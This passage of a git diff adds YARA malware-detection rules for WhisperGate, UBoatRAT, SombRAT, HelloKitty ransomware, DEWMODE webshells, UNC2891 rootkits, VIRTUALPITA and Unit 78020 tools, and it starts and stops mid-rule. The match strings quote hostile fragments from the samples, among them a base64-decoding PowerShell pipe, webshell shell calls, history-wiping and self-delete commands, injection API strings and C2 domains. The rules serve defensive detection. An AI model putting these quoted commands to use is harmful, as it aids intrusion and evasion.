+      $op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0 db 56 65 20 3d eb 24 de 61 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 1000KB and 5 of them
+      or 7 of them
+}
+
+rule APT_HKTL_Wiper_WhisperGate_Stage3_Jan22 {
+   meta:
+      description = "Detects reversed stage3 related to Ukrainian wiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
+      date = "2022-01-16"
+      hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
+      id = "d5d562cd-03ef-5450-8044-3f538cea32d0"
+   strings:
+      $xc1 = { 65 31 63 70 00 31 79 72 61 72 62 69 4c 73 73 61 6c 43 00 6e 69 61 4d }
+
+      $s1 = "lld." wide
+   condition:
+      uint16(filesize-2) == 0x4d5a and
+      filesize < 5000KB and all of them
+}
+
+rule MAL_OBFUSC_Unknown_Jan22_1 {
+   meta:
+      description = "Detects samples similar to reversed stage3 found in Ukrainian wiper incident named WhisperGate"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
+      date = "2022-01-16"
+      hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
+      id = "647c0092-b03d-5627-8568-ddaa982c73a1"
+   strings:
+      $xc1 = { 37 00 63 00 38 00 63 00 62 00 35 00 35 00 39 00
+               38 00 65 00 37 00 32 00 34 00 64 00 33 00 34 00
+               33 00 38 00 34 00 63 00 63 00 65 00 37 00 34 00
+               30 00 32 00 62 00 31 00 31 00 66 00 30 00 65 }
+      $xc2 = { 4D 61 69 6E 00 43 6C 61 73 73 4C 69 62 72 61 72
+               79 31 00 70 63 31 65 }
+
+      $s1 = ".dll" wide
+      $s2 = "%&%,%s%" ascii fullword
+
+      $op1 = { a2 87 fa b1 44 a5 f5 12 da a7 49 11 5c 8c 26 d4 75 }
+      $op2 = { d7 af 52 38 c7 47 95 c8 0e 88 f3 d5 0b }
+      $op3 = { 6c 05 df d6 b8 ac 11 f2 67 16 cb b7 34 4d b6 91 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 1000KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule MAL_Unknown_Discord_Characteristics_Jan22_1 {
+   meta:
+      description = "Detects unknown malware with a few indicators also found in Wiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+      date = "2022-01-16"
+      score = 75
+      hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+      id = "23ee5319-6a72-517b-8ea0-55063b6b862c"
+   strings:
+      $x1 = "xownxloxadDxatxxax" wide
+      
+      $s2 = "https://cdn.discordapp.com/attachments/" wide
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 1000KB and all of them
+}
diff --git a/yara-Neo23x0/apt_uboat_rat.yar b/yara-Neo23x0/apt_uboat_rat.yar
new file mode 100644
index 0000000..75f3786
--- /dev/null
+++ b/yara-Neo23x0/apt_uboat_rat.yar
@@ -0,0 +1,69 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-28
+   Identifier: UBoatRAT
+   Reference: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
+*/
+
+rule UBoatRAT {
+   meta:
+      description = "Detects UBoat RAT Samples"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
+      date = "2017-11-29"
+      hash1 = "04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b"
+      hash2 = "7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1"
+      hash3 = "42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac"
+      hash4 = "6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c"
+      hash5 = "cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7"
+      hash6 = "bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271"
+      id = "f7f745c2-648d-5937-8d06-f5d1b6ed7e11"
+   strings:
+      $s1 = "URLDownloadToFileA" ascii
+      $s2 = "GetModuleFileNameW" ascii
+      $s4 = "WININET.dll" ascii
+      $s5 = "urlmon.dll" ascii
+      $s6 = "WTSAPI32.dll" ascii
+      $s7 = "IPHLPAPI.DLL" ascii
+
+      $op1 = { 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
+               69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
+               74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
+               6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 }
+
+      $vprotect = { 2E 76 6D 70 30 }
+   condition:
+      /* MZ and PE */
+      uint16(0) == 0x5a4d and uint32(uint32(0x3c)) == 0x4550 and
+      /* Expected file size */
+      filesize < 1400KB and filesize > 800KB and (
+         /* Imports */
+         all of ($s*) and
+         /* Specific header - possibly Yoda protector*/
+         $op1 at 64 and
+         uint16(uint32(0x3c) + 11) == 0x59 and
+         /* Vprotect */
+         $vprotect in (600..700)
+      )
+}
+
+rule UBoatRAT_Dropper {
+   meta:
+      description = "Detects UBoatRAT Dropper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
+      date = "2017-11-29"
+      hash1 = "f4c659238ffab95e87894d2c556f887774dce2431e8cb87f881df4e4d26253a3"
+      id = "f3d4e333-1282-5f6e-9294-628a8230d2a5"
+   strings:
+      $s1 = "GetCurrenvackageId" fullword ascii
+      $s2 = "fghijklmnopq" fullword ascii
+      $s3 = "23456789:;<=>?@ABCDEFGHIJKLMNOPQ" fullword ascii
+      $s4 = "PMM/dd/y" fullword ascii
+      $s5 = "bad all" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_unc1151_ua.yar b/yara-Neo23x0/apt_unc1151_ua.yar
new file mode 100644
index 0000000..ec85548
--- /dev/null
+++ b/yara-Neo23x0/apt_unc1151_ua.yar
@@ -0,0 +1,16 @@
+rule APT_UNC1151_WindowsInstaller_Silent_InstallProduct_MacroMethod {
+    meta:
+        author = "Proofpoint Threat Research"
+        date = "2021-07-28"
+        hash1 = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3"
+        hash2 = "a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
+        reference = "Thttps://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
+        id = "9ae80d54-33b9-55d7-957f-0738243e089f"
+    strings:
+        $doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+        $s1 = ".UILevel = 2"
+        $s2 = "CreateObject(\"WindowsInstaller.Installer\")"
+        $s3 = ".InstallProduct \"http"
+    condition:
+        $doc_header at 0 and all of ($s*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_unc2447_sombrat.yar b/yara-Neo23x0/apt_unc2447_sombrat.yar
new file mode 100644
index 0000000..27b7bef
--- /dev/null
+++ b/yara-Neo23x0/apt_unc2447_sombrat.yar
@@ -0,0 +1,135 @@
+
+rule APT_UNC2447_MAL_SOMBRAT_May21_1 {
+   meta:
+      description = "Detects SombRAT samples from UNC2447 campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+      date = "2021-05-01"
+      modified = "2023-01-07"
+      hash1 = "61e286c62e556ac79b01c17357176e58efb67d86c5d17407e128094c3151f7f9"
+      hash2 = "99baffcd7a6b939b72c99af7c1e88523a50053ab966a079d9bf268aff884426e"
+      id = "78b46bed-4fd4-596f-bba7-12243f467af3"
+   strings:
+      $x1 = "~arungvc" ascii fullword
+
+      $s1 = "plugin64_" ascii
+      $s2 = "0xUnknown" ascii fullword
+      $s3 = "b%x.%s" ascii fullword
+      $s4 = "/news" ascii
+
+      $sc1 = { 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73
+               00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00
+               00 49 73 57 6F 77 36 34 50 72 6F 63 65 73 73 00
+               00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32
+               00 00 00 00 00 00 00 00 00 47 00 6C 00 6F 00 62
+               00 61 00 6C 00 5C 00 25 00 73 }
+
+      $op1 = { 66 90 0f b6 45 80 32 44 0d 81 34 de 88 44 0d 81 48 ff c1 48 83 f9 19 72 e9 }
+      $op2 = { 48 8b d0 66 0f 6f 05 ?1 ?? 0? 00 f3 0f 7f 44 24 68 66 89 7c 24 58 41 b8 10 00 00 00 4c 39 40 10 4c 0f 42 40 10 48 83 78 18 08 }
+      $op3 = { 49 f7 b0 a0 00 00 00 42 0f b6 04 0a 41 30 44 33 fe 48 83 79 18 10 72 03 48 8b 09 33 d2 b8 05 00 00 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and (
+         ( 1 of ($x*) and 1 of ($s*) ) or
+         3 of them
+      ) or 5 of them
+}
+
+rule APT_UNC2447_MAL_RANSOM_HelloKitty_May21_1 {
+   meta:
+      description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+      date = "2021-05-01"
+      hash1 = "02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851"
+      hash2 = "0e5f7737704c8f25b2b8157561be54a463057cd4d79c7e016c30a1cf6590a85c"
+      hash3 = "52dace403e8f9b4f7ea20c0c3565fa11b6953b404a7d49d63af237a57b36fd2a"
+      hash4 = "7be901c5f7ffeb8f99e4f5813c259d0227335680380ed06df03fb836a041cb06"
+      hash5 = "947e357bfdfe411be6c97af6559fd1cdc5c9d6f5cea122bf174d124ee03d2de8"
+      hash6 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
+      hash7 = "a147945635d5bd0fa832c9b55bc3ebcea7a7787e8f89b98a44279f8eddda2a77"
+      hash8 = "bade05a30aba181ffbe4325c1ba6c76ef9e02cbe41a4190bd3671152c51c4a7b"
+      hash9 = "c2498845ed4b287fd0f95528926c8ee620ef0cbb5b27865b2007d6379ffe4323"
+      hash10 = "dc007e71085297883ca68a919e37687427b7e6db0c24ca014c148f226d8dd98f"
+      hash11 = "ef614b456ca4eaa8156a895f450577600ad41bd553b4512ae6abf3fb8b5eb04e"
+      id = "c84b2430-dcf1-5a80-96a0-02d292ea386b"
+   strings:
+      $xop1 = { 8b 45 08 8b 75 f4 fe 85 f7 fd ff ff 0f 11 44 05 b4 83 c0 10 89 45 08 83 f8 30 7c 82 }
+      $xop2 = { 81 c3 dc a9 b0 5c c1 c9 0b 33 c8 89 55 a0 8b c7 8b 7d e0 c1 c8 06 33 f7 }
+
+      $s1 = "select * from Win32_ShadowCopy" wide fullword
+      $s2 = "bootfont.bin" wide fullword
+      $s3 = "DECRYPT_NOTE.txt" wide fullword
+      $s4 = ".onion" wide
+      
+      $sop1 = { 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 0f 11 45 ec }
+      $sop2 = { 56 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 }
+      $sop3 = { 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 800KB and
+      1 of ($x*) or 3 of them
+}
+
+rule APT_UNC2447_MAL_RANSOM_HelloKitty_May21_2 {
+   meta:
+      description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+      date = "2021-05-01"
+      hash1 = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
+      hash2 = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
+      hash3 = "501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe"
+      hash4 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
+      id = "82aaabc6-102a-512e-8c2a-4d6fda864c68"
+   strings:
+      $xop1 = { 50 8d 45 f8 50 ff 75 fc ff 15 ?? ?? 42 00 3d ea 00 00 00 75 18 83 7d f8 00 }
+
+      $s1 = "HelloKittyMutex" wide
+      $s2 = "%s\\read_me_lkd.txt" wide fullword
+      $s3 = "/C ping 127.0.0.1 & del %s" wide fullword
+      $s4 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
+      
+      $sop1 = { 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc ff 15 ?? ?? 42 00 }
+      $sop2 = { 74 12 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 600KB and
+      1 of ($x*) or 2 of them
+}
+
+rule APT_UNC2447_PS1_WARPRISM_May21_1 {
+   meta:
+      description = "Detects WARPRISM PowerShell samples from UNC2447 campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+      date = "2021-05-01"
+      hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
+      hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
+      hash3 = "b41a303a4caa71fa260dd601a796033d8bfebcaa6bd9dfd7ad956fac5229a735"
+      id = "fa389a45-3b31-5a84-9882-49fd6ee8cac5"
+   strings:
+      $x1 = "if ($MyInvocation.MyCommand.Path -match '\\S') {" ascii fullword
+
+      $s1 = "[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr " ascii wide
+      $s2 = "[Runtime.InteropServices.Marshal]::Copy($" ascii wide
+      $s3 = "[System.Diagnostics.Process]::Start((-join(" ascii wide
+   condition:
+      filesize < 5000KB and 1 of ($x*) or 2 of them
+}
+
+rule APT_UNC2447_BAT_Runner_May21_1 {
+   meta:
+      description = "Detects Batch script runners from UNC2447 campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+      date = "2021-05-01"
+      modified = "2023-01-07"
+      hash1 = "ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc"
+      id = "0bacd4f7-421a-570f-9f74-5a19ab806dd0"
+   strings:
+      $x1 = "powershell.exe -c \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([IO.File]::" ascii
+      $x2 = "wwansvc.txt')))\" | powershell.exe -" ascii
+   condition:
+      filesize < 5000KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_unc2546_dewmode.yar b/yara-Neo23x0/apt_unc2546_dewmode.yar
new file mode 100644
index 0000000..8ee0c23
--- /dev/null
+++ b/yara-Neo23x0/apt_unc2546_dewmode.yar
@@ -0,0 +1,25 @@
+
+rule WEBSHELL_APT_PHP_DEWMODE_UNC2546_Feb21_1 {
+   meta:
+      description = "Detects DEWMODE webshells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html"
+      date = "2021-02-22"
+      hash1 = "2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7"
+      hash2 = "5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b"
+      id = "ea883f25-0e9b-5617-b05e-191a4a5c5a52"
+   strings:
+      $x1 = "<font size=4>Cleanup Shell</font></a>';" ascii fullword
+      $x2 = "$(sh /tmp/.scr)"
+      $x3 = "@system('sudo /usr/local/bin/admin.pl --mount_cifs=" ascii
+      
+      $s1 = "target=\\\"_blank\\\">Download</a></td>\";" ascii
+      $s2 = ",PASSWORD 1>/dev/null 2>/dev/null');" ascii
+      $s3 = ",base64_decode('" ascii
+      $s4 = "include \"remote.inc\";" ascii
+      $s5 = "@system('sudo /usr/local" ascii
+   condition:
+      uint16(0) == 0x3f3c and
+      filesize < 9KB and
+      ( 1 of ($x*) or 2 of them ) or 3 of them
+}
diff --git a/yara-Neo23x0/apt_unc2891_mal_jan23.yar b/yara-Neo23x0/apt_unc2891_mal_jan23.yar
new file mode 100644
index 0000000..a225d8e
--- /dev/null
+++ b/yara-Neo23x0/apt_unc2891_mal_jan23.yar
@@ -0,0 +1,76 @@
+
+rule MAL_UNC2891_Caketap {
+   meta:
+      description = "Detects UNC2891 Rootkit Caketap"
+      author = "Frank Boldewin (@r3c0nst)"
+      date = "2022-03-30"
+      reference = "https://github.com/fboldewin/YARA-rules/tree/master"
+
+      id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec"
+   strings:
+      $str1  = ".caahGss187" ascii fullword // SyS_mkdir hook cmd ident
+      $str2 = "ipstat" ascii // rootkit lkm name
+      $code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B} // HSM cmd KW check
+      $code2 = {41 C6 46 01 3D 41 C6 46 08 32} // mode_flag switch
+   condition:
+      uint32 (0) ==  0x464c457f and (all of ($code*) or (all of ($str*) and #str2 == 2))
+}
+
+rule MAL_UNC2891_Slapstick {
+   meta:
+      description = "Detects UNC2891 Slapstick pam backdoor"
+      author = "Frank Boldewin (@r3c0nst), slightly modifier by Florian Roth"
+      date = "2022-03-30"
+      modified = "2023-01-05"
+      reference = "https://github.com/fboldewin/YARA-rules/tree/master"
+      hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
+
+      id = "eb5db507-ac12-5c11-9dd9-ec34b9a80e1c"
+   strings:
+      $code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5} // string decrypter
+      $code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85} // log buf crypter
+      $str1 = "/proc/self/exe" fullword ascii
+      $str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
+      $str3 = "pam_sm_authenticate" ascii
+      /* $str4 = "ACCESS GRANTED & WELCOME" xor // pam prompt message */
+      $str_fr1 = "HISTFILE=/dev/null" // replacement for XORED message for memory usage reasons
+   condition:
+      uint32 (0) ==  0x464c457f and filesize < 100KB and (all of ($code*) or all of ($str*))
+}
+
+rule MAL_UNC2891_Steelcorgi {
+   meta:
+      description = "Detects UNC2891 Steelcorgi packed ELF binaries"
+      author = "Frank Boldewin (@r3c0nst)"
+      date = "2022-03-30"
+      reference = "https://github.com/fboldewin/YARA-rules/tree/master"
+      hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170"
+      hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5"
+      hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547"
+      
+      id = "94da7da5-5fc3-5221-97d6-1854aa7b1959"
+   strings:
+      $pattern1 = {70 61 64 00 6C 63 6B 00} // padlck
+      $pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65} // proc_self_exe
+      
+   condition:
+      uint32(0) == 0x464c457f and all of them
+}
+
+rule MAL_UNC2891_Winghook {
+   meta:
+      description = "Detects UNC2891 Winghook Keylogger"
+      author = "Frank Boldewin (@r3c0nst)"
+      date = "2022-03-30"
+      reference = "https://github.com/fboldewin/YARA-rules/tree/master"
+      hash1 = "d071ee723982cf53e4bce89f3de5a8ef1853457b21bffdae387c4c2bd160a38e"
+
+      id = "e5955fa0-8204-58e3-88a6-de4b47756ede"
+   strings:
+      $code1 = {01 F9 81 E1 FF 00 00 00 41 89 CA [15] 44 01 CF 81 E7 FF 00 00 00} // crypt log file data
+      $code2 = {83 E2 0F 0F B6 14 1? 32 14 01 88 14 0? 48 83 ?? ?? 48 83 ?? ?? 75} // decrypt path+logfile name
+      $str1 = "fgets" ascii // hook function name
+      $str2 = "read" ascii // hook function name
+   condition:
+      uint32 (0) ==  0x464c457f and filesize < 100KB and 1 of ($code*) and all of ($str*)
+}
diff --git a/yara-Neo23x0/apt_unc3886_virtualpita.yar b/yara-Neo23x0/apt_unc3886_virtualpita.yar
new file mode 100644
index 0000000..c5a3327
--- /dev/null
+++ b/yara-Neo23x0/apt_unc3886_virtualpita.yar
@@ -0,0 +1,73 @@
+
+rule M_APT_VIRTUALPITA_1
+{
+       meta:
+             author = "Mandiant"
+             md5 = "fe34b7c071d96dac498b72a4a07cb246"
+             description = "Finds opcodes to set a port to bind on 2233, encompassing the setsockopt(), htons(), and bind() from 40973d to 409791 in fe34b7c071d96dac498b72a4a07cb246 (may produce some FPs - comment by Florian Roth)"
+             modified = "2023-11-25"
+             score = 60  // reduced score by Florian Roth due to FPs
+             id = "bdfbe29a-f7db-50d9-a909-d4ca96cc0731"
+      strings:
+            $x = {8b ?? ?? 4? b8 04 00 00 00 [0 - 4] ba 02 00 00 00 be 01 00 00 00 [0 - 2] e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 79 [0 - 50] ba 10 00 00 00 [0 - 10] e8}
+      condition:
+            uint32(0) == 0x464c457f and all of them  
+}
+
+rule M_APT_VIRTUALPITA_2
+{
+       meta:
+             author = "Mandiant"
+             md5 = "fe34b7c071d96dac498b72a4a07cb246"
+             description = "Finds opcodes to decode and parse the recieved data in the socket buffer in fe34b7c071d96dac498b72a4a07cb246.  Opcodes from 401a36 to 401adc"
+             id = "6a59cc54-e1a0-594f-9efb-af63d5c05259"
+      strings:
+            $x = {85 c0 74 ?? c7 05 ?? ?? ?? ?? fb ff ff ff c7 8? ?? ?? ?? ?? 00 00 00 00 e9 ?? ?? ?? ?? 4? 8b 05 ?? ?? ?? ?? 4? 83 c0 01 4? 89 05 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 e9 ?? ?? ?? ?? 8b 4? ?? 4? 98 4? 8d 9? ?? ?? ?? ?? 4? 8d ?? e0 4? 8b 0? 4? 89 0? 4? 8b 4? ?? 4? 89 4? ?? 8b 4? ?? 4? 98 4? 8d b? ?? ?? ?? ?? b? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 eb ?? 8b 4? ?? 8b 4? ?? 01 c1 8b 4? ?? 03 4? ?? 4? 98 0f b6 9? ?? ?? ?? ?? 8b 4? ?? 4? 98 0f b6 8? ?? ?? ?? ?? 31 c2 4? 63 c1 88 9? ?? ?? ?? ?? 83 4? ?? 01}
+      condition:
+            uint32(0) == 0x464c457f and all of them  
+}
+
+rule M_APT_VIRTUALPITA_3
+{
+       meta:
+             author = "Mandiant"
+             md5 = "fe34b7c071d96dac498b72a4a07cb246"
+             description = "Finds opcodes from 409dd8 to 409e46 in fe34b7c071d96dac498b72a4a07cb246 to set the HISTFILE environment variable to 'F' with a putenv() after loading each character individually."
+             id = "29ea2db0-4ab2-5e9c-8d42-7590ceabf99a"
+      strings:
+            $x = {4? 8b 4? ?? c6 00 48 4? 8b 4? ?? 4? 83 c0 05 c6 00 49 4? 8b 4? ?? 4? 83 c0 01 c6 00 49 4? 8b 4? ?? 4? 83 c0 06 c6 00 4c 4? 8b 4? ?? 4? 83 c0 02 c6 00 53 4? 8b 4? ?? 4? 83 c0 07 c6 00 45 4? 8b 4? ?? 4? 83 c0 03 c6 00 54 4? 8b 4? ?? 4? 83 c0 08 c6 00 3d 4? 8b 4? ?? 4? 83 c0 04 c6 00 46 4? 8b 4? ?? 4? 83 c0 09 c6 00 00 4? 8b 7? ?? e8}
+      condition:
+            uint32(0) == 0x464c457f and all of them
+}
+
+rule M_APT_VIRTUALPITA_4
+{
+       meta:
+             author = "Mandiant"
+             md5 = "fe34b7c071d96dac498b72a4a07cb246"
+             description = "Finds opcodes from 401f1c to 401f4f in fe34b7c071d96dac498b72a4a07cb246 to decode text with multiple XORs"
+             id = "58d4db75-fcd5-50c2-93ba-a8a4718ac0f6"
+      strings:
+            $x = {4? 8b 4? ?? 4? 83 c1 30 4? 8b 4? ?? 4? 8b 10 8b 4? ?? 4? 98 4? 8b 04 ?? ?? ?? ?? ?? 4? 31 c2 4? 8b 4? ?? 4? 83 c0 28 4? 8b 00 4? c1 e8 10 0f b6 c0 4? 98 4? 8b 04}
+      condition:
+            uint32(0) == 0x464c457f and all of them
+
+}
+
+rule M_Hunting_Python_Backdoor_CommandParser_1
+{
+      meta:
+            author = "Mandiant"
+            md5 = "61ab3f6401d60ec36cd3ac980a8deb75"
+            description = "Finds strings indicative of the vmsyslog.py python backdoor."
+            id = "15cbca01-24e6-5538-bcfd-c3222337aaf5"
+      strings:
+            $key1 = "self.conn.readInt8()" ascii
+            $key2 = "upload" ascii
+            $key3 = "download" ascii
+            $key4 = "shell" ascii
+            $key5 = "execute" ascii
+            $re1 = /def\srun.{,20}command\s?=\s?self\.conn\.readInt8\(\).{,75}upload.{,75}download.{,75}shell.{,75}execute/s
+      condition:
+            filesize < 200KB and all of them
+}
diff --git a/yara-Neo23x0/apt_unit78020_malware.yar b/yara-Neo23x0/apt_unit78020_malware.yar
new file mode 100644
index 0000000..d58078d
--- /dev/null
+++ b/yara-Neo23x0/apt_unit78020_malware.yar
@@ -0,0 +1,132 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-24
+	Identifier: Unit 78020 Malware
+*/
+
+rule APT_MAL_CN_Unit78020_Sep15 {
+   meta:
+      description = "Detects malware used by Unit78020"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+      date = "2015-09-24"
+      modified = "2023-01-31"
+      score = 80
+      old_rule_name = "Unit78020_Malware_Gen1"
+      hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
+      hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+      hash3 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+      hash4 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+      hash5 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+      hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
+      id = "d26d401f-3806-5a0b-bdb3-87d5d8af209c"
+   strings:
+      $x1 = "greensky27.vicp.net" fullword wide
+      $x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+      $x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+      /* additional strings based on PDF report - not found in samples */
+      $x4 = "serch.vicp.net" fullword wide
+      $x5 = "greensky27.vicp.net" fullword wide
+      $x6 = "greensky27.vicp.net.as" fullword wide
+      $x7 = "greensky27.vcip.net" fullword wide
+      $x8 = "pnoc-ec.vicp.net" fullword wide
+      $x9 = "aseanph.vicp.net" fullword wide
+      $x10 = "pnoc.vicp.net" fullword wide
+      
+      $sa1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" wide fullword
+      $sa2 = "x-www-form-urlencoded/r/n" wide fullword
+      $sa3 = "/%d%s%d" ascii fullword
+      $sa4 = "dMozilla" wide fullword
+      $sa5 = "Accept-Language:En-us" wide fullword
+
+      $sb1 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" wide fullword
+      $sb2 = "\\Office Start.lnk" wide fullword
+      $sb3 = "%02d-%02d-%02d %02d:%02d" wide fullword
+
+      $sc1 = "\\MSN Talk Start.lnk" wide fullword
+      $sc2 = "-GetModuleFileNameExW" ascii fullword
+      $sc3 = "dwError1 = %d" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 2000KB and (
+         1 of ($x*) or 
+         all of ($sa*) or 
+         all of ($sb*) or
+         all of ($sc*)
+      )
+}
+
+rule Unit78020_Malware_1 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
+		id = "0374de68-98cb-5cb8-a936-fe7845de9330"
